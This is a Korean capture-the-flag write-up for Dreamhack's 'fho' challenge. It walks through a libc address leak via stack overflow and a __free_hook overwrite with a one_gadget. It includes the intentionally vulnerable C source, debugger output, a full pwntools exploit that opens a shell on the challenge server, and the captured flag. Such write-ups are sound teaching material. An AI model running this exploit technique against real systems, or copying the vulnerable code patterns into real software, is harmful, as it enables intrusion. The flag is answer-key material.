dreamhack - fho writeup
[dreamhack] fho writeup
1. 문제

Exploit Tech: Hook Overwrite에서 실습하는 문제입니다.
https://dreamhack.io/wargame/challenges/3552. 풀이
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
char buf[0x30];
unsigned long long *addr;
unsigned long long value;
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
puts("[1] Stack buffer overflow");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
puts("[2] Arbitary-Address-Write");
printf("To write: ");
scanf("%llu", &addr);
printf("With: ");
scanf("%llu", &value);
printf("[%p] = %llu\n", addr, value);
*addr = value;
puts("[3] Arbitrary-Address-Free");
printf("To free: ");
scanf("%llu", &addr);
free(addr);
return 0;
}
1번에는 bof
취약점을 가진 코드가 있고, 2번에는 임의 주소에 임의값을 쓸 수 있는 코드, 그리고 마지막은 해당 주소를 free
하는 코드이다.
직전까지 canary
관련 문제를 풀고 있어서 습관적으로 canary
를 leak하고 시작했다.
그런데 아무리봐도 canary
와는 상관이 없는 문제인듯해서 다시 들여다봤다.
일단 임의 주소에 임의값을 쓰는게 핵심인 것 같았고, 마지막에 뜬금없이 free
함수가 있는 것과 문제 이름이 fho
인걸로봐서 free hook overwrite을 사용하는 문제인 것 같다. (문제 description에도 나와있기도 했고…)
예전에 풀었던 문제처럼 __free_hook
변수를 원하는 함수의 주소로 덮으면 해당 함수가 free
함수 시작전에 실행이 된다.
따라서
- 1. 해당 변수에
system("/bin/sh")
의 주소를 덮거나 (one gadget) - 2. 해당 변수에
system
함수를 덮고,addr
은"/bin/sh"
문자열 주소를 가리키게 하면된다.
여기서는 주소 하나에만 값을 넣을 수 있으므로 one_gadget
방식의 풀이를 원하는 것 같았다.
문제는 checksec으로 확인했을 때 바이너리 상태가 이랬다. (제공된 libc로 패치한 상태)
ubuntu@instance-20250406-1126:~/dreamhack/level2/fho$ checksec fho
[!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine
[*] '/home/ubuntu/dreamhack/level2/fho/fho'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'.'
Stripped: No
PIE
가 enabled 상태였고, 뭔가 libc 관련 주소를 leak해야 __free_hook
변수의 주소와 one_gadget
의 주소를 알 수 있다.
고민고민하다가 bof
취약점을 활용을 안했으니까 이를 확인해야겠다 생각이 들었고, rbp+0x8
위치에 __libc_start_main+231
의 주소가 들어가있는 것을 확인했다.
pwndbg> r
Starting program: /home/ubuntu/dreamhack/level2/fho/fho
Breakpoint 1, 0x00005555554008ba in main ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
──────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────
RAX 0x5555554008ba (main) ◂— push rbp
RBX 0
RCX 0x555555400a40 (__libc_csu_init) ◂— push r15
RDX 0x7fffffffe2d8 —▸ 0x7fffffffe56f ◂— 'SHELL=/bin/bash'
RDI 1
RSI 0x7fffffffe2c8 —▸ 0x7fffffffe549 ◂— '/home/ubuntu/dreamhack/level2/fho/fho'
R8 0x7ffff7becd80 ◂— 0
R9 0x7ffff7becd80 ◂— 0
R10 1
R11 0
R12 0x5555554007b0 (_start) ◂— xor ebp, ebp
R13 0x7fffffffe2c0 ◂— 1
R14 0
R15 0
RBP 0x555555400a40 (__libc_csu_init) ◂— push r15
RSP 0x7fffffffe1e8 —▸ 0x7ffff7821bf7 (__libc_start_main+231) ◂— mov edi, eax
RIP 0x5555554008ba (main) ◂— push rbp
───────────────────────────────────[ DISASM / x86-64 / set emulate off ]───────────────────────────────────
► 0x5555554008ba <main> push rbp
0x5555554008bb <main+1> mov rbp, rsp
0x5555554008be <main+4> sub rsp, 0x50
0x5555554008c2 <main+8> mov rax, qword ptr fs:[0x28] RAX, [0x7ffff7ff85a8]
0x5555554008cb <main+17> mov qword ptr [rbp - 8], rax
0x5555554008cf <main+21> xor eax, eax EAX => 0
0x5555554008d1 <main+23> mov rax, qword ptr [rip + 0x200748] RAX, [stdin@@GLIBC_2.2.5]
0x5555554008d8 <main+30> mov ecx, 0 ECX => 0
0x5555554008dd <main+35> mov edx, 2 EDX => 2
0x5555554008e2 <main+40> mov esi, 0 ESI => 0
0x5555554008e7 <main+45> mov rdi, rax
─────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffe1e8 —▸ 0x7ffff7821bf7 (__libc_start_main+231) ◂— mov edi, eax
01:0008│ 0x7fffffffe1f0 ◂— 0x2000000000
02:0010│ 0x7fffffffe1f8 —▸ 0x7fffffffe2c8 —▸ 0x7fffffffe549 ◂— '/home/ubuntu/dreamhack/level2/fho/fho'
03:0018│ 0x7fffffffe200 ◂— 0x100000000
04:0020│ 0x7fffffffe208 —▸ 0x5555554008ba (main) ◂— push rbp
05:0028│ 0x7fffffffe210 ◂— 0
06:0030│ 0x7fffffffe218 ◂— 0x652f92feaa0c7245
07:0038│ 0x7fffffffe220 —▸ 0x5555554007b0 (_start) ◂— xor ebp, ebp
───────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────
► 0 0x5555554008ba main
1 0x7ffff7821bf7 __libc_start_main+231
2 0x5555554007da _start+42
canary
를 leak하는 것과 같이 해당 주소를 leak하려면 buf
에 충분히 덮은 다음에 %s
를 통해 이어서 나오는 주소를 확인하면 된다.
buf
의 위치는 rbp-0x40
이기 때문에 둘 사이의 거리는 0x48
이므로 이만큼 덮어야한다. 단, 64비트에서 주소값은 항상 6바이트이기 때문에 6바이트만 받아온 다음에 널바이트를 2개 추가해준 다음에 p64
함수를 사용해야한다.
leak을 한뒤에 받아온 주소는 __libc_start_main+231
의 주소이기 때문에 231을 빼주고 __libc_start_main
의 offset을 빼줘야 libcbase의 주소를 구할 수 있다.
그런 다음 one_gadget
프로그램과 libc offset을 활용해 사용할 쉘함수와 __free_hook
변수의 주소를 구해주고 하나씩 넣어주면 끝이다.
one_gadget
offset을 넣을 때 처음 두개가 안됐고 세번째 offset을 사용하니까 됐다. 노가다
아래는 최종 exploit과 결과이다.
from pwn import *
#p = process("./fho")
p = remote("host3.dreamhack.games", 16702)
elf = ELF("./fho")
libc = ELF("./libc-2.27.so")
p.recvuntil("Buf: ")
p.send(b"a" * 0x40 + b"b" * 8)
p.recvuntil("b" * 8)
libc_start_main_231 = u64(p.recv(6).ljust(8, b"\x00"))
print(hex(libc_start_main_231))
libcbase = libc_start_main_231 - 231 - libc.symbols["__libc_start_main"]
print(hex(libcbase))
free_hook = libcbase + libc.symbols["__free_hook"]
onegadget = libcbase + 0x4f432
print(p.recvuntil("To write: "))
p.sendline(str(free_hook))
p.recvuntil("With: ")
p.sendline(str(onegadget))
p.interactive()
ubuntu@instance-20250406-1126:~/dreamhack/level2/fho$ python3 e_fho.py
[+] Opening connection to host3.dreamhack.games on port 16702: Done
[!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine
[*] '/home/ubuntu/dreamhack/level2/fho/fho'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'.'
Stripped: No
[!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine
[*] '/home/ubuntu/dreamhack/level2/fho/libc-2.27.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
/home/ubuntu/dreamhack/level2/fho/e_fho.py:9: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.recvuntil("Buf: ")
/home/ubuntu/dreamhack/level2/fho/e_fho.py:11: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.recvuntil("b" * 8)
0x7f0e554e8bf7
0x7f0e554c7000
/home/ubuntu/dreamhack/level2/fho/e_fho.py:21: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
print(p.recvuntil("To write: "))
b'\n[2] Arbitary-Address-Write\nTo write: '
/home/ubuntu/dreamhack/level2/fho/e_fho.py:22: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.sendline(str(free_hook))
/home/ubuntu/dreamhack/level2/fho/e_fho.py:23: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.recvuntil("With: ")
/home/ubuntu/dreamhack/level2/fho/e_fho.py:24: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.sendline(str(onegadget))
[*] Switching to interactive mode
[0x7f0e558b48e8] = 139699537667122
[3] Arbitrary-Address-Free
To free: $
$ id
$ cat flag
DH{a8529ace5e50480658a645aa1a1c88291784335c1c54c5b89d0f43ad1893730c}
해결~